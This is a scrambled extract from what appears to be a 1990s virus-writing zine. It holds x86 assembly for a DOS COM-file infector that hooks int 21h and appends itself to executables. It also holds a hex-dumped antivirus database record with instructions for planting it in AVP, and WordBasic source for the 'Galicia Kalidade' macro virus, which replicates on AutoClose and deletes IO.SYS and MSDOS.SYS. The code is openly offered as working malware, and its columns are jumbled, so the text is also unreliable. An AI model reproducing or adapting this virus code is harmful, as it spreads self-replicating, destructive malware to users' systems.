push ax bx cx dx si di ds es
; Push all this shit ; and clear direction ; flag
mov int
ax,3d00h 21h
; Open the file is ; about to be executed
xchg call jc
bx,ax get_sft dont_infect
; Get its SFT ; Shit... outta here
push pop
cs ds
; CS=DS
mov cmp je
ax,word ptr es:[di+28h] ax,'OC' check_file ; besides COMs,
; Check extension ; There aren't too many ; 'COx' executables right? :)
dont_infect: pop jmp
pop es ds di si dx cx bx ax old_int_21h
; Pop out registers and ; jmp to the original ; int 21h handler
check_file: xchg push
xor al,al al,byte ptr es:[di+4] ax
; Clear and save file ; attributes
mov
word ptr es:[di+2],2
; Set read/write mode
mov mov lea int
ah,3fh cx,4 dx,host_header 21h
; Read first four ; bytes to our buffer
mov add cmp je
ax,word ptr host_header al,ah al,0a7h close_file
; ; ; ;
cmp je
byte ptr host_header+3,90h ; Check file for any close_file ; previous infection
mov cmp ja
ax,word ptr es:[di+11h] ax,0faebh close_file
; Check file length ; > 64235?
push mov
ax sub ax,3 word ptr new_header+1,ax
; Save length ; Make the initial ; jmp to our code
mov
word ptr es:[di+15h],0
; Lseek to the start
mov mov lea int
ah,40h cx,4 dx,new_header 21h
; Write in our cooler ; header :)
pop
ax
; Lseek to the end
First word in AX M+Z or Z+M=0a7h :) So is it an EXE file? Fuck it
mov
word ptr es:[di+15h],ax
; of the file
mov mov lea int
ah,40h cx,anticaro_size dx,anticaro_start 21h
; ; ; ;
close_file: int pop mov jmp
mov 21h
ah,3eh
ax byte ptr es:[di+4],al dont_infect
Append our code Huh? where's the call to the poly engine? :) ; Close our victim
; Restore attributes ; Pop shit and jump ; to the original int 21h
; **´ Subroutines... or... oh, well, subroutine :) Ã********************** get_sft: mov int jc
push ax bx ax,1220h 2fh bad_sft
xor mov mov int
bx,bx ax,1216h bl,byte ptr es:[di] 2fh
; Get the address of ; the specific SFT for ; our handle
pop
; Pop registers and ; return to the code
bad_sft: ret
bx ax
; Get job file table ; in ES:DI (DOS 3+)
; **´ Data area Ã********************************************************* host_header new_header avp_set bizatch_name bizatch_base ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
db db db db db
0cdh,20h,90h,90h 0e9h,?,?,90h 'avp.set',0 'BIZATCH.AVB',0dh,0ah 'bizatch.avb',0
; ; ; ; ;
Host's header New header buffer Can't you guess it? :) Our database field Viral database name
**´ BIZATCH.AVB viral database Ã**************************************** The hex dump below is the AVP full-compatible viral database which contains the necessary data for detecting Bizatch. This was done by compiling the 'belower' code, linking it to a new AVPRO record, and filling out some of this record's data fields. These are the steps: -
Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm. Execute AVP's AVPRO.EXE. Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb'). Insert a file record in it (Alt-I, and then select 'File virus'). Fill the form as follows: ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º Name: Bizatch_:P Type [ ] COM º º Comment: Fuck you, Bontchy [X] EXE º º [ ] SYS º º Area 1 Header [ ] WIN º º Offset 0000 º º Length 00 Method Delete º º Area 2 Page_C Area Header º º Offset 0000 From +0000 º º Length 0a Length +0000 º º To +0000 º > º Link Ü +0000 º º ßßßßßß Cut 0000 º
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
> º Sum Ü 00000000 º º ßßßßßß 00000000 º º º º Ok Ü Cancel Ü º º ßßßßßßßßßß ßßßßßßßßßß º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ - Link biz_dec.obj (Alt-L, and then select it). - Type in Bizatch's entry point for calculating its sum (Alt-S, don't select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the dump gap AVPRO will show you. - Save the new record and the new viral database. As you see, this is quite tedious to do, and that's why i included directly the hex dump of the result of all these steps, which seems to me a bit more easy for you :) So skip the hex dump and have a look at biz_dec.asm's code, which is the really important thing of this virus.
base_start base_size bizatch_avb db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db
label byte equ base_end-base_start-3 db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h
db db db db db db base_end ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h 8ah,02h,00h,00h,74h label byte
**´ Bizatch's detection code Ã****************************************** biz_dec
segment byte public 'code' assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec
_decode
proc push mov mov
far ds bp bp,seg _Header ds,bp
les mov xor
di,_Header bp,word ptr es:[di+3ch] ax,ax
push call pop
ax bp far ptr _Seek ax ax
; Lseek to PE header ; Remove 2 words from stack
les mov
di,_Page_C ax,0f8h
; Destination=buffer ; Size=f8h bytes
push call
ax es di far ptr _Read
; Read f8h bytes from ; the PE header
add les cmp jne
sp,6 di,_Page_C word ptr es:[di],'EP' back_to_avp
; Remove 3 words from stack ; The call changes ES ; Portable Executable?
mov push
cx,word ptr es:[di+6] cx
; Objects number
mov push call
ax,28h ax es di far ptr _Read
; Length of each ; object table entry ; Read object
add pop les cmp jne
sp,6 cx di,_Page_C word ptr es:[di],'lv' search_loop
; Remove 3 words from stack
cmp je
word ptr es:[di],'da' lseek_object
; (vl)ad object? ; Bingo! :)
search_loop:
loop
next_entry
; Process next object
back_to_avp:
xor pop retf
ax,ax bp ds
; R_CLEAN==0 ; Return to AVP
di,dword ptr es:[di+14h] es di far ptr _Seek
; Lseek to the object ; physical offset
next_entry:
lseek_object: les push call
; Get AVP's data segment
; Get pointer to header ; Get PE header offset
; Point to our buffer ; vl(ad) object?
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
_decode biz_decode public extrn extrn extrn extrn end
anticaro_end anticaro end
pop mov les push call
ax ax ax,0ah di,_Page_C ax es di far ptr _Read
add jmp endp ends
sp,6 back_to_avp
_decode _Page_C:dword _Header:dword _Seek:far _Read:far
label byte ends anticaro_start
; Read ten bytes to ; our buffer (page C)
; And now AVP will compare ; those ten bytes with ; Bizatch's search string
; ; ; ;
External AVP's API functions and buffers (lseek, read, header, read buffer...)
' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
Galicia Kalidade (@) MaD MoTHeR TeaM
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
This baby is the smallest macro virus ever (as far as i know). I wrote it as a code example of the VBA language tutorial published in this issue. It's an encrypted WinWord infector which infects on AutoClose and... look at this... it's the unique virus in the world which infects by 'doing' a dir a:... but not in the way you're supposing ;-) On AutoClose, it copies itself and checks the closed document for the words 'dir a:', ignoring any case or font... if such string is found, it will delete MSDOS.SYS and IO.SYS and then display a message box. Btw, as this is the first spanish macro virus, i decided it will work only under spanish versions of WinWord :-)
to write it so
Sub Main nombre$ = NombreVentana$() + ":AutoClose" MacroCopiar nombre$, "Global:AutoClose", 1 ArchivoGuardarComo .Format = 1 MacroCopiar "Global:AutoClose", nombre$, 1 PrincipioDeDocumento Edici¢nBuscarEliminarFormato Edici¢nBuscar .Buscar = "DIR A:", .PalabraCompleta = 0, \ .CoincidirMay£sMin£s = 0, .Direcciones = 0, \ .Ajuste = 0 If Edici¢nBuscarEncontrado() <> 0 Then FijarAtributos "C:\IO.SYS",0 Fijar Atributos "C:\MSDOS.SYS",0 Kill "C:\IO.SYS" Kill "C:\MSDOS.SYS" MsgBox "El virus Galicia Kalidade ha actuado" , \ "Galicia Kalidade", 16 End If End Sub
' Hey! What are you looking for? *THAT* supertiny thing is a 100% working ' macro virus... didn't you believe me when i told you this is the smallest ' WW infector ever? :-)